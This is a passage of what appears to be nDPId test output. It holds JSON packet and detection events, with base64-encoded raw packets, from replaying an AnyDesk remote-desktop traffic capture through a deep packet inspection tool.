o76b9d43TVN378KvUiH8B1R+27NGsGr1VR3nRrqHasoU9bzsWTHfTMvyq0qGyg3XSh8+XBXEOtSo7UEiUZTj3L9uEMQ2e2OdfRI239T\/yjIWNXZYMiAqCQnkUc9HrNHyMrA6\/88bJGhrWI8l5NT\/JZqK9WQJ3ElZFdRjXByAXy0e1VZ99+kIabE0uAPDO000nZ+j8ubQxIc91NmFt4eA15bgpMADU7rzfliQVg4VODMkuEoNmIrqIluJpP3Ik6ZRKN6OkqjKSqlXLRLSRNCmAN8iQT0nTep3GH7vtQltXL8oyZnGwyDnEj6qAeAnWHRu65Hfy2lMGgQl8XtUYLfYnnpPNTJVxmkL\/auffgfl5570pgmW8aHfALO7GG\/4Jv6u\/c4SyhYKhrJuqtgKINjLe3TgarbSYsbbs2yrpPjwBmbamhIWGRDwnV30Vq52a2+Dj\/Nhn19dArDCQWF0NFbdr0YBILuwEVWtPXTMCnnRk1ExLN2WKa7U7nK5Ev4hc1NjZgm2BJ7tMAsu8tIOPMxZBsdAnnq3KhMS0gRm4v\/+Zv+haL5IHd7P5jJLKzf8HRy+xHr26GJLhN3Ggn5rzAfZjx\/Wa5dCm737LEfp6Iow7FEve1MhFlxwQY2Luvu6T818XqN7jYBwQGKB8ivRGCuLiOEd+DmaSw8\/V1jlaEHpuwCv1\/+eY9\/VScpM1FW6BhYRJY\/vwzgWvYyrzfKLEuBEUOWfhvAPaBKHiDU4d1NG\/iyVvHwiVjSY2JqHZXNhsQKADo+IGVuBN5In7i0Y4GzG7dzHYBJa1v+ug\/MtOPHzvceh7cakovxNeY0SnHfDQjVqOhvA\/7gwLoSgkccB5L71rtyRzt4yNnGWzu0w20I0udialH0TZfOfWVDmKMLEU0F4mL0no\/6RzoMBTQHixwWKjwhhU8qXlhJiYBcMUTee\/b9oQByL2GXYDIsgSgP0VSVZf7Tp04So3f3pXL+cV2DHg1Qpyf5w0B2+Epiq8MA34ZygmtcbjEYTDCWND06kE+7Dw9PGrkHlVWavlW4O8vLpF3MxGLAmGOHmeGh2PmyEbKGZJLbfdUXI4Z\/CuiN7+31CnuJU9I+BhOihrAQPP1SWlogYeJPcdiHFP5v5JXnmfomk+5yd\/0qE\/pNWMoa+Bp33UW4YxItgqI8IZm4RRV2n2iuP2uB4Q9aURwV2UMrtPACtnxNwozHQnde8zSUYrxbptLCPsSDM9onxbaXEjM8rOuPZmUb4dRb4Xj0pepHLTZqp6TpYH7EjtiRe\/LH0kzHkx4YZCaVNU3DyW0gbQfrIvPsLkvNT95J9uJQuDpwaPUwle5CCTQ5rYhft5CTmYk43wu9mUh4mZhO2Em8hjxwc3MTY2ai2MuKSAkOGWNteAT4kMXHm6snKYWem\/+ndfgbZ5cHzf7EXs7s2l5K2vrwupO1eGRCutBrGSRBw5PNuSBkxxY951SQzj0jrjULGe5Ja4VEvgsOFo\/vmzGbYGW4u9DzdTeyX6tYSJljjIVlBCRG9qmvHoHmnlzTp0HKd0HKyu1MRXt\/tiLSi0pAkbRuQGJLbJnBlylCntaCWavakDNJRnTRY0JgHNI2TqPuwMGu4p5a7ookob7QfZZSixmUm1YNYOmL1XRAPIiNzioLQr7XMpqgcIU6DS+ku5UzQhdRTBmolAL0sAGbnzk4JHTKpA8PmID28lLCFKXVIffBlFLI3bw3VuNJU1TVXTAcQl8GYQnrjUTWdP1E2D13Ot69EOtVDw8AL1W2NzJ3s9Az2xGJ4wGFwEDdT2ehqKIIUqixe6aACp32IIVpOEIs7MNhpCQjS1K3rcBbPsAV61MzLd56NSXY8pNxL4\/vjvooYMLCkovLtcBMiej9VfNeoU\/Til4QCgRzeFjZKawqkrtTKd+qn72FDLCVFsEElozCN7ziNVWapKxUIfxtG8bYNwMUZjlPug0pFOieY8hCyU6Tr9ydNjU3gxJPh5KHfXD1\/Qwm9Zw\/cIbO4M1cgM28TX+TcskNs1jv6Glg9Dh3hLZfdoOZ3BRNF3ii+Orrgwftw13bGfZhXNUN9Ba9xMrCxuvRk3T0D4dFA9oFUDtHpCxM0thQZnQjXn7d8tA7FbDwSzq4yj2kMWcdok3Xuabbz0BvzK0fBR47gZ1yz6E\/tetZ9bHa1n3iDmMydr01tGA+VA3O4uFp0savlsd+bapnBFT34phe9y6KZR3McCTaq0aPX4IxWpnW3UqyZctai+DgYIG6gCIjD6eL7e6rNMFmxVCCGS9ZHyX9UJM+C1O+\/QYwDI2Mat5\/hm82oQgwnTN36jQ\/qrGs971ZimKOPz5TC2uNPXFCRYg\/abnBajOxmhWjVE2SASJOBs10aHnhWHeb3OyVMOWO6ye5jupv+vUdWRvFwxtHuGxbhNlwR4Bz7Kd6MZaNoQgR39WgDFwMsksKzjPX8imxnnfOLuMBuANpiKRC5lIbRmyfsjWz2OQuUEhXuizbA1c8xn\/qER\/Jo\/dYlAmjwtDLjLcQyrcIfcUZkpL4QT9\/1qEa+zhtHkUSDUIlS+nd9\/GmvkCR5loZ7pldTZ2BFcoPIz+Kgku45ktmnfRFjX\/9IN6IQ4Uea3M4ukDNS6RJdoZvMTsPDDPB6vO196vSRExUEoJmKGyuqfNRmcQ75iZbwilmBGonSco0cLWLpplqwi3MBn8+0E98MzdRfQJb8kIVwtAMjTzJzBEUfoLxZQDZcHMVQnXrT8jxKKi81Ddir\/iHb2y6IgIxEjD7pWHmKjrKqnjFSa9WC8JyYHPHsw9Xy91POlS\/Sqycbaal7bJSl12GFpwbMk\/nhMlKLemt6kAfk+O2X1HCJ1ehr4tc1J\/SMLgDN9v1\/tIojl4grCjmrIpJ9PDxhazmrIKVnE013KT3oO5jvxJGGV1kb+f5GDfJoXv8LrO1d+kD8Jp63WWVLD\/vav6sUccjF+WW09g5aVX8SWKMiqhu\/NlzsOjE2yAc543c3\/OlJcO5SF\/k8j3guHh\/awjUsjPBU9BR\/6qBg1U4HdWlbu\/LAvniw5aeBcULrb1d84Npxa1drz7UL2UrEJ5B9j4JpGfhQzKaKQ7QAtATb0MXmu9J+jcEfvlUcvrqAdYegDHeIwcCbDhVpmW9qbX7+p2PgYjI7PwqZbGukWbD1Ap1WTbUCTi+8L7ZOfEgf2uv1qHIqfKEu+G6bcNA8aR3vdKfY+HDKnr+Cwd4sNnWUt30e9c68vsLJ6xsm7fj4Xgx\/Dy5obW44S4xjGP8gVFW6Bce6lMPYsQzuMNLrQtuYwnxOik0FOfB9X+mg7j6bkq6ufSo7lyB3\/4jPoNA4163yg75UJPlaofFl8IIRHX7iAp64qq5UfNiQZIj7jkda7wWq7BF+2fiVPgNKmMIL\/KyaJ4requUytLmvRCJ1z4BazUda\/flDwNgXNuUuZW7IJOPRfxhiNKT4NHIpZGfeQETecyrMPhYlb\/Oa3bLPSLG+9STOaUjDoSIpdcv7ePR0JfgvP0MV+Ufuf8EphFGggQ+wGurw+y8ZScujgW4z4XQCcjsjCNtQbEyGnbsR7MHSOv2RRbOP0\/9WaKsfmWkPi0WeenehJTb9WN53PH5o4bhk61\/nhGpS3YdmvAUe+1Aq+e91EBkvwSzKrLmkPVvrsm6OQfv6h6jYobgq868XQQtG0eQ9zRFUyhIaeju5+bvxxL3YfNR2LasDZVfkCAKvmHrukQxtFYVkG2upsVxVR2wZzAboHZDhDD1FXLtIUhNY6DYv1Tl6bYMdbKANzOlX+pDj0H\/5F0WvGGOrLgZ2FQ5Kd0+eD9j0H13C36x+6M7GJNgeF9+36URQWVGiMSEF\/7okVX1LPwdq\/WYAwfJOX15X\/esVx3TpPVCId4OaemG+fXdV6j7S1n93eZIlXZun4Gcexd5QxtJV+l1WDDFkL3ZAd52RCBk2ZAeyVGDAqUwf55VmyOdMhI8V2b19m7er+qhimYgdI8Cht6hExVzI\/gEAm8A++kBKTbjJpBBTScTACaG1zRXU9hjNqnAs7LiW54\/adVgShUyF5ajNALYUc7gOoJQEjia19\/GQTUXTJSd+Ltr3wmf2Vr\/81JZnuzsA2clQixNuknxa6McIk03SvYBB1J2KwAijlQ6D1Kqxq6x4A0zy8jgB8nx5sMeJWJWsOZ5h1RG4V9\/eCVX0DwvOqsACMhVes9SyS6NZusiKCn71uLNud3aunJI4u6g5SFyi0+GqLqYk3+lyqiTk8kx2nA87ZbNI\/v4\/cSvxB22qoQdVNfyjoik+z7Z2O\/uQvnNC1XoBwraOopkADhOvEAzqLS2wrbpCGLOxOe9lNOJJN\/y9Keb8YQebSu92tYd8Ytd7uh\/mJbT4GjdoflPlYRtsyZw5boFjR883IVge4qoKynJmRXxczNGdW3yYzq08eMUrneGN8duIjFcrmvEWz5GDGNSSMZfuAYjHeeX+smlmW\/nlHsgs4ud6ew9VPdPThvJ+NXzIppid9wYin5AXwmRkV706tBdpV1y6zA2XmYPniJxzFzc5ZI0sjxvHUR\/Xoy7HX4vmDJ2doHvggvtzLF+LPZ3dTcMwa1DkamuIPRw\/Mck5aLdEI33mJIxhKQkg3vuChYiddz2bwOEq\/Vp0zPiap4khPTvHxSbhzgeonS+Wj3WpJjkaH35EP7eTRKkTLMoBxdpPkhlO2TYEDFwYa0jyFr4F0421HDylhfP2cZBySwYxL3+qwWC1q0jQ7I4UQ8uATEqoFNRMI45yXDiWvLddXs2DYEyQ0JiPIw90Yb9Io+2DcEDDyD3G246bOhPYMgF9tsJCKIOQOC20Y11yFQ1I2R2tVVYEQxv2XWN6\/L+OCyieMwG4n1U8D9EZqvrTwlDEgchJ\/XYSRnRFifut0J3PcSYopjzUGroeJSzZcysEpmb3Vixw7a8cTzP5vcnoLFgJPUXLNO\/bLHsst\/d3zkr9dBZQCF7FqrTzPapBVipr++c5J6oz6MnXToifio0JyziB9EcFeS\/Y6wQrEgNse2v2P4NcUpiIt84q60RjuMwYi3s2FR7Rld7xKOEP\/KX7bPec0BldpFmRRxUMCs2IiDfygP3Keo9B\/iO40qxegPmfM+dmbbVqJDj+jzHVHQ7n3JjVFmoWil7g3n9F1zNDUa4fDQN8XrnWkCVnbh+fihrVEeowEaEkgyy7prrkF+b9FqSziGgcQHSYGKbagROyBeM0v6P9FzV3YBZNc+3remupyl1ZX+jaVoZZ4MOyDgHlY286x3YDMEIRjsykrYgKx\/HWMAfd50vE4B2lTPmf3SHmO1yay7MuCTdZ2HCwfR6SpjblF+BeQbQTXJIdrgJXlBNw9zR2dRq4Bt62kQlZcl+I860YXdW1OPXsa\/+ZUyAMgI8LoTr4HcTC1aL\/kXUj8rJ+hQvORsJWygOeoHQU9j3twDF4oU0NCBwoPhmJwMSXDLEJ0iYW\/fQWeGD3xjUHRZGxgxEXxL"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2192,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +02643{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2193,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":201851,"pkt_caplen":1726,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1726,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhnBAAIAGAADAqAG7wKgBstOUG56PM+fvWcRJGlAYIBGExAAAFwMDBoNZ4hNO+msXHe5V6g81v5x2acrFQyb4+rTclkOWAjxUAhUJhJkXdOkKJKuBuPsYdU9io8VVSMC88Y1D7aKROlO3EFrO\/oqvXhQQw5oZQcSDu0B2y5cp1W1Kbee\/GsvXoJgWcR9jd6LIVb2AHx24T7ZDOWqAtVpH7U45uPe+Xn7rEW7QFSTUdQ8Wy4isu3J56Xr+pWKeUcu4q4XDKTwV72SfMINcPJp41nWC9xtaCsvpcPfcGsSosaTzClEmCtl56+5aGn2ZkyqHGEDC5BTVkDM6jcJUQD2B34hmUezf33mTFgP\/LM6FRvV6XS8KjQMtSUlpDWHmh\/0RsgHlqDqmfF7FQweSSZ22TqGIFoXZgIWdrPM4mcHCBlTYY1Twk3VI1o01fEfjYPFodPJVhdERKe1yX7UhMWNdRF4wuJ41S5jxqhJymvg0EdJaMJcxFiQjDSuphER7Rxc4HDQt2zt0HS2Q7Gxy\/21o+dDaxyd8Mnos1cm3yN0\/gdLE5eoG1calgtpTIzR66ROalIVfMriBC4qjT6I1wzAg9J6IKTkPJLLcQLI3tZHWCTdF1VbNG0FJ5RKBvhde\/hVzpVTIajFAHqPqoMsd8XHqqHQ2zld+RvTk25xPOud2aJs5ToDg2WQv8OB4wwb5xoOASUertcDJ6Ie8PoZ678DWuyOZLyp6S4z8L8yxuBvy3qltvYzqJ\/ZRyWBx6+fBFDNFe2sY4msCIdqNed4phEUSM2kkBrx6I0N+gHbOHBv8WwkVVz8R98BjudgoX7du6SpS20zM3LuBgpW15TWZZnFLReavG6OhxDmx5Mu84VDuNfsUL\/pJtSpHpgX3Dnh2Ui6G4Rcw6ZHWCuUdYDli3hWe52\/F1Ym19CPYk2w1lRizefhtWiqDhjwj10qtiQQ0IR9vbJ9kx125pXR+lkFylE6X4krOZKwleWDmt6yEE2MOz\/9r2T\/ze+EzuuLdt3n5bu8xzGkV9jTzkETJ19dG2+V41SQDc10W58eYV0VjznGLLtVN0t+Si4xYxAu21ZN2c1YSkTHZUXsYpGTNm7HU5AtqHXE9cPw9OkVkcz2Ow9\/2TiYKycLeeHc\/7ced5PmDaRJbBQY1lXUivpK7LBXZQpvQOmu1qTx3KFRc8WUeN+QUZx5t1JBLHhjOoPBhCCuTkV0KVlkVHRUp67ZAeSV0GSAQ66udKmLSOEj9LDNHCwYFohZL4FUjTNRRYI21I02XMOEE7NxTuVIaWI0WLOZD2ZbC5GQcLS3YSmR2oF9dKDIDG8WUuAUHkm9X0ATwSkLQ2WlKnzR\/tzDt5YRJKgtlxr4\/r8ekQ4Xg2yVN7JRpkplN7G4vnQGpv8ZIb\/RX+OkIuyWdq7An0+1icV6rc6ezA78DqxKRKBXrC5oLmsd7SqYNs2T\/nvSM4KNlNrqc6rcHzYejrura+bj8T4r8BIhkLE8H7mrvJcr8lEMlZynVPIq\/D8BB6cdoi0LfUVagS+Qc3iS6AAJ1S\/uIAxa4kjpFo1QeXG6nVcHE+9AktAvRC+9Hvj0sPqQOrPOR\/bddBbZq7Qial1VODgxitLtUzwhx9o8RIAZiXxEwwMrAFLkE5vo0VteL5KONFYzU7gD34qV7JYUGVujJ9nJTWzkC35ievJqoaLjHZReLOj9xBkmhIuP2YzXY4toYxYfBEWyck9iGauIa0+OAZ2y7lWCJQUp38\/fSe\/zorudMfwzGYZsEEqoYL5\/tKrZIeRoSxaM5+8Zfv8VpIAMjSNFP6W70r8GOkFS7K6bo0MuCH2K\/oPueHD0POmXLDjTvOIwKXdIjN\/CtJJK\/oWEuwi2ZPhB6vY0\/a9z96ZAYN+Qek2Cvp2U9oWt7vKzGolouJYa49DCvTOTKxJ0ATRoToQ6pNTLod80B3fV7MmZc1y7dNY3Cdgi\/xYt21mD7w06zvHv9j1fEfjrZhtYQ5ge2StMFtwDCK2Y\/GJ2qlWZq0LPiQvaqGo5gO33k65vvlHZ\/VJUctRP189Qf29oni35HyJFIe61gUubNip75\/FzhXb+JGCdP0p8e6VO3mdEcClFe4gchWQvAZ6rsIF7HeVCVz21biA6N6FIdM907TyakvO287KvoMhvRMjIn85CSWtxgugLp+LkUa5YrLWpWR6m+uKUwMomZH6I10XSkKZr7mdG8EFjb5hqjw5KCxbWkWrOA\/T0J81ikTTcuVLCzV\/qO3d9KySXkrsfw2XuBwtZXvh8s9415EthD3Q=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2193,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1692} +07818{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2194,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":201919,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhnJAAIAGAADAqAG7wKgBstOUG56PM+53WcRJGlAYIBGExAAAFwMDFXlZ4hNO+msXHjRdqeDHBHWbX0BUoRPjqbpUVADIbAZ\/jCPA+\/Ih2CrDUdsloFbrFiYLtzRnaviS+VQFPKHU8QkZgJdCSsnKngJ3VmrJmY\/IwkdkyI3gbzNhT5sjRB6ealIG3zjCltEVI13ui8dVsyCLubf4QuaA4+WV4uDFz\/pJJOx+uel52ejKN1e2LhIQiubWDUUEb9TiR+Roo5xL8zgZm8LZPywHTQxepAuu1mVT5J8oNwAcZWaJjmbtkvtLHMWBbdX0wVe3fOhQKBFAQeKKeXQ9MF+ZRX5UKTpobD\/zsFsg7IWpfUHE40vjd1sM1zVeKjSugQC1isz1tzl4z8vOg3eX5krTJAFWBzs\/uQXVbXAVL\/wx9G\/54hqgXZtvYuIJD+x2o0J2KSBvcWJc5+OWlG\/cDCHgK4R8Lxotj1ER9g+I+HriV2zuZHgFjH1XRTvUz9hZLpi8EJKVdId+KNHe8xgZeajuqydpljDkOE4OuSjBgFK5oLSTK5GSbOPeoNbXOMGy1XPeliOf5aZMjUpSj7g8w4b362zCNM9LkMvem91bzqWYCGq\/ChaXInIMgpXariMXfG7wJsIrJoks3a\/FFXtzXgTfb\/DSEkp7BLG5YzO33EcCZO+FVFtgmwOC1gQvLl+GvFmlSeWe5t4ySBDCbTg+XFHY70lc2SPaB2M894sBUR27OWf8HF307JRdwOPnrFoJ9Sksjj0x9so65krzILWR\/cgd2EpMsW0uVrspkSn3G61\/tFIB7iPct4JrSBe\/\/sYp7yAY\/DiIS4pZlwbNIixiXyU8bCJcw8yTLbJ0nE0fJ90HVrhZWz29rnXys9AfHT33SaWan\/wo67aQLEXCAXgB5Lk2hWTN7U6NbjHwCAXz5SiGvo3A9RmCngiWOvXag4b5UiJZ+zvc2q0xXq86E+C6h2IwR+uNTsaDOFOv+0euIlejZ3uv5gNHsNs0+R8X8z8bRVeY1rQazmrMoG9uOb3Ofv1uJrl2kNeUovHCojq+UXzbuHwz2s6lKnEfyw7BJgp1m9TDTfCnL6m+DWtcHa0nvudyQsjWkA75uyG4X8jByY8ucq2R8Gd5ouf+dTZ\/RT1NY3GQy2FQXfLR2Dx3tAttxHtibEkGIxM1w4iCbXtDaP92LMHOorY3BbhOFFiwXhezCg3ENQ6SXupaL8hGZZVDT5i7EG7NubFyO50Ks0jviBThFysNd1Mow3JgQnov47O0xvnUTETOcYW300MlbKi+xo3\/qavY5ub\/05QxLx1Y1jyRJ22Lalmew4nibGpYk8bIJsHzqYphZdiIRfr\/CUsEHYCAIyGvLuGy\/EqksT3llHgP41OyF8jPpwau7BKl8aMRQEswz4Aw3j0OeQUqNtJZSEn2PS4aUDOvuTqLg1bq1xsjk+powXxI48unVEuEKsb0uJvKagGGRM35Sb3mqW9buDz2Z7dtSh\/ly3Ow6p0tB+pt0v+QFqtXlXg+oEoNO+79ljJQIiJjEobYrUMcHB1UPk\/XTIcAZuL9v57qtiBtAi810UypPAbLaX4Ddob3GS7RW1OF+XDuYSBDRMXBm+rj3gHlO\/IaOlF3Ktno\/Nnm4uRskKSAxAqG0R4iQ3V3It96M0fB\/0vuw1HoHX+eYuEf7s2a\/7wRSF2MdxtbROAlYp7TQM0MJyCgyqFuUZi79n57bYYQ66Zt+o27clIOopywg2fXV0zpF2IfNf88Q5J\/Roa1YSTq9GiZI\/bRtZtLygV6PRZn1yj5AberOg4LnZDAUAxI3BSEzImWS5kV06GUWT5dKcDpvbbEiVBDxFmlY+2lq7VBO3kocAldnx0mUKMV5ePwMu8IrX+bTRD0knBihedaq88UtcyG81UdgQOhYgSPSZXI02KZqWrS\/\/vVxmJwqSRoJQ7zqAa5Ae2E1RB9mHpQxiX8huhpPTZWAOgy555YX8ksPiG4qvAmvTOub8EadLk8Gvi0\/7DPc\/JrvhMxjAgUi9RDFpQA\/NEM+6ehRNOlFavlAKYT9VGoD82qtbpbMekZRiClYPDu8kqv0KmzwKTvagSVrBvp0xQJt8YkUfyKExCDFqTTYxupcQyiTO26s+\/5iZS7mB5mA96ZICGmUflNazfR3EUMklM0e8FHXtlh7sSWBvph89DlcQghcXkyWaSSH9vx31TzD84HGxChnzidQkptWhHEFR2baVNXCCJaPgzcdW+GMxlSIY412rfheSjOlO6R8QqyYLbGWszjZArsQAu30AFem9Go3eYPqx8s2xDIiSSf1oLdorQ4\/CGJrFtLgf2RB2iLRwmgZnoPVtIO6g0\/PTMcth+BHuZCbiNOSeyWizEav6xf8R8k+Cwm2VFJ728YhPCtlWAf1N7CVZyr5QyHZIs7FDKUC8ur3KRbIXpqntSC8eUJId3f3VNLnZdQJxZx6iMh61s4JVpGvEPcfh04UN1mri5rDZnRQxY\/uVMAJzNw5ZxEr7RsGgjJIu861FcUtWPpTW1EuGKeJPLpVdUMehBu9ipoCul2+nNYC4zm\/V3ik3lXnZmFradyKY2OaYjCR7nKqK7Ed6sSfPFz0GvkVMziHQ\/oBBJIMAAoL8GMG77wA5aFK3Gc5i4IzwVjaDwuJxe3IgwSjXzyS90c77CDcLF2n7FTmzcL9EyMWjYllICqyT8t6iWKcJNJPIBXLDOlTJg+K7qyaKGu138RWyf3MaF1HB1dMQfsVwtyTuks8Ip+RbLr2p1Ky2RVUxXfQNSLXFRpAUJEyeRBqP8BL+PskGfRNfzqCRsU6YeBo\/MufpTqeM2GYwo5q\/wNbDbQKV8MBN4nb0AoDC0OY618OvQ0TWmAKZay5KCd9xvdzEA6i7UooIggsV30\/KK9bp5Q1C+VA\/50uhPkjnIBZ1tK\/CsZ684wdRA8d6ciw1tYmBkwZbVPXpOgl0Y8CImeoBJa4YddB9C1Qim\/rnfbRL\/YlNMU926MUaEeKHNm6uCbQj4huX\/Usw3PQxcxRS0kP00z4z9PkRrlZBJb6TWNY3nHLCo1MfsOXNPA5nca3v4oX6ptNJne7J5F4CvGbj6ZxK9IxfHbMhR\/kxYZiSmNazai6o6\/+MHrR\/SJKHRLDhbOH9FIRhf+Vzni6hcL6osc48AdaEqtB36cqMiDTQIMQWZSOsTqk8Ofxybx+3EDNQFzcpye1XJxUMKQiy\/BASRDT4p1xsZQ+ugfjVudErpmtwus2T8FPix\/v84wH0JLmPSEEmkI9L7\/qEGrZYBgZdSdDm1lANrDuCKcQYN+mx2uHb2684u2IbxkWnYVnMSWf5qNaJvFUz0kjv5ceopSPSBvhrWyiPo9j9rqzkyCMYex3c+n8gNltbn9i03BfZH62614bg3sio8J6xKomOsRABRdkV91YTO+oiS1L9e9Drfr6NsUkmqmN09xZkvO3UBwqiOvrK5RgoOBINU2LyDarCZcGVn4MZy\/ic1sky5PDquz4ffTnH3glz\/8CRZr8ZM4RwPs1lXQYGxzS1lVEB\/E56caRAMqECfD+0NO60Sk4aIEpRMImf5c1iXYiFNraY8c731C\/J4uw8zh8V1JGIdKbpdgW59HUt9e\/V+6tk1Ht7utrrAfeTK0OYidTOciLUhgsvNLgdFBReumAyzV4GhCLPxKIg2PZnFl2lZd8pvDxxqxoQpGpwNeiQyMTqoGTk+7YT1gi\/SxzlwUOGqhL+lhyjBaHyEsMJo4nPpLVyYQe0fGDgND0OPXMu5VSN6QliGo1j0tCgXhLqD8uN\/gp5yn\/fOtEkpuqNRU5Vs1aKXrI7S3AQnC7+PT26EEy1ipawxDTEhloDdTj5Hgv6tAe3mdE18Jwc2vQnQuzmhgGJeQ9vwX4ELkzZkYezy3EQ0KCUVKx2X\/GzRMU9dA5\/uDjihQbGyiFpc7n6+afHsPE1+dqE4QFxYcEUOe1r08qUTrHpzGU2RLICn2Jp+WOrg5YFQQSfnS0CB+IC0nOIi6zCeim9uCGu5r0y+AO6Po6nBqlgYrsyYq6EbePWhirwsZ+xF5PkbKA4EOAYu5slEvJ6bnNWqUWrnpVzJowc7xtKUZShZDjYzl7KYqgosXVEAhzEFGVBrqLXhKISYqYqY+u55QQkob6q2ALSz3YSLZmg\/oEy6xz0l\/R+J+uNMsU4oXj1Mtr1eIw9L\/EvimYnedunN+6H1RQeiPf4HeXqF5SoT+egWlcft+toWGf2\/TnsLRq+AhBgdA527HP\/cucE8MtuoSfqvBwHT5Ih9Qml3s\/xBM0hpF1YuxANJEiuJ1hDdt9H2DoBtbNLGISBdH9TVck37VWw0gJpp27mzpsLwEdWBST8sCUVHQw+FLK+km0JRWDkDKRMpEz98y7pOk8O632IqEK55DkMqjIEt8YKuLmdOve8X4Y+\/1k0ulSx01ne5dKupavhyptXKleOJnHZKIu+MGuQiLwylvNow2DAmdzuTF7nd1YCxhbkPAONL+L1HcumpCcSab1SFFB7SrnPZbyJOYAZYy\/ryUCPJIW\/SF8P6dBR4Q6iai4FFi3nX4oYyvkBT700hlp\/W29Kcru\/C9kcr9DE0rV3kIZQ6dD1fBcOm+8xrCu+o4nRT1CvUKZyA3hOw9vfjdVxquuYSdCFmCOE+quN9V7tt8MyxgXA3kzQCZ93hwZyXxW3AT1RZGqLYotkjkAOSyk0yr7MXiqaegYGmuGqZxtea2+19hS982turrjJT25DU\/Lqy4usDqr8nsegYslQkX+56cNEgzLYTI5vpfADKf+eqc5mnZzVpB4C3BoqyM68H1gKS7fMkYfZNtrv7ZXK05QhbE+aOvuUj7wYeOFIITdw3VrIXYgxC7wkFh5fbBB3wt236i+7dQ85RVLzhiZSq8XW9AknSLTjbr+M+uS7ob\/sylyMr9aD8ohqJpkUkaYh1c9\/JwONoCuSLc39zuz5D08H0viUEPMEMEFq294NhGPOJG6IzQPrb+rOTy7k0vCqh+FV6HUbMIdgMM7gpRdUvR+rB9oKf0DoB0HCmfTnsqZbwNBKesRA8wLOjeDxIxjfs7pB7X1VajqhspHHq6jzl0Iq8v3md0GLISYrFcarYfKdbLfhMxYzwnOf1eopmo7oQNubjkrR4nZ5jClrJL0Q0kQILUJ9c5iU\/KZuH19tLuFT3bQis+UXTl7Oc7jOz9k4BPoq3eMs3+G+voZyD5KpBLoi6JhK0v\/+nEkLqfPUqLICHZ8b2Md428Kt\/PQw6opflJz+d2QVqhlPYY9V67ghsbxIupKRaIjbBDxjh+TqAoOufFbpZYuYfV6x7FHYGadVGSPELdAkwKDZpaO1xyUi5I\/9vPrNiRDB02lxjuod7rt+wwHuu1TK+0HAzcuwXcZoGAjuNrqgUU19NJSPbIefpkH59Vn2ZUEGjOiDINxTmW1b74kzmAlr6o+S1ZWwPNGl2h2BFgcOjtQZRio4pGQqJfK8DEeQ8kgSyDIA+4zY8K+DvKgO\/b7v3lBjvFHYZ7qCsDdzlGNmviiZhcauOCwxzZjbDaRtW4U9qbdlIl8ofcaR1oWpOMh39JyEDt46VBv1xZMNaC0NC6iQmGQof6YtKRpKV+oMQpFWMurxy0FXtYKpPO5OK0Jj8jnFE2mu3OoRN2mCXy6n8fauwAFsDogrxgXBYxwv9QWkjgCyegLhSC5a8y7ukM+oDaAstEHURmzr5OnLxDUyzJS3TXuR3AsNRSLk+QYokudodsmM1pcwJLyxFnJVBfzubbXRi2qSbO74p+gqvYj7ZdXf4kvWA5T1H0EU+15+S\/bBBNTjlbD7krQsNsBWuniVtMrAdXvW\/ylTpF5vhAr7wREaEiShWuE1ElngD0tclBPghVfzb4dsxHGBcbiqwl2AW6pSVQuJHxltqpIRS4ul9IKveaXdHtuj8P2au9cr6CHNAoIV8QakjYG6gAcxr28PSdg1DYRy9f9L5uAgFSOCqXiQWAmf6FN5tcLBZY1KVs0ECs+ey\/FV486qB4YrThnMLQKp3C2nks\/\/gbIBK8JxpJJeTwHFBMR9Vo5qWfwpNnvfUzrJbNfogHfpQ5WlMW\/H+iV+HLawtP0vZXrl4wZa8D2PSyMCzZ0dvOV1nDfH6zXegG7KrRCSGOlQdv+kiQ9ca\/tZynELQTBa7Pzg4\/YsPTI6uDV7mZWicd+YrkTAS+72ERhgnkyUvpMINJku1rGP37WellCNE9TKhnkHuHLyc\/9p2hE682bSchvlSM1VxiaHbeJdfV4ZSCpLlqquq8aQmX1br9eg6O3Rdw2nm+\/TD1KZwRJU5EFuIx9LHRAIP200T\/ZPi+LnzNGU0K+man4BdZOXv8c6A0HWm6MniWIuj4Lg4+r87kqrww8+bOBuizIIb5uvuKo1CyTTAdZTPW64I8+6R3BCHkeZSFFKRTtHt5LA44Msyu4ldbaavjS4ysPHFX58wiadw\/z6OY\/CGfdEc2xSIRMowxVzadY0XK21s1vz6vfcVtNEDMBWMBM7br+NMFQ90FO+69jJXogxbsu5QA0lv3cS+3xq6Zhwh+87+xy4W4LEjm3ERHBxfTbwgWA0NaU8erZzg8lGb2wH4BRqhCnHJRXSXbdKiPC3yj2tX6houEVMDv2dHOWeyjBFbIcmoQKqUtitI3RX1AnaSAD44tcX04Bg6HEwEKDe3D62DTHUjhOJZD9oBziial789M3b87+RcfiHA9ShkehqKRRaKGzLqs1762OITghrfSyexBDkZOhhJbyRDr9vfMlig4wOtrv8U3lB7wLpPmqcgoOIgz3A+VScADfcc\/XKZTxtS+NUOLjLOFI2cGUl4lggly0E8jUkcAM3ZgQ1sLbgGQo0afKQYNb4GhRzGMdByLsJ+iZM1Nlb+itpKx6SbjaYod1sy+p31Uj2qgyaDi59E8yRQKpHx8aNhaumW6eb2FpBQaWYvmTcu99RifCc11I7fj7XOxzsfvuyGnYURBjFNgb6H+COZeBGJpn3CEHWyB1pD6OQCfKUNlsjnMb3F9dpkOXq3FLsArLqc0rxJCmbBqxt6krmhpknDcnkM1wneyHPsvRpLvSbIOoUC+QgAbNxg7N5yfsbtiVBdLbV\/uvLv7wacaVazaN6LhJh5M9J\/9nDmJKsKLGcBQUvdmmQ4opy+y+WskgSqH9xqpFsr9RBH3abKa4wLKwupperw1Dc1u0\/ERkcnoxcXnL9IXMoWs39KKmKNOXgEW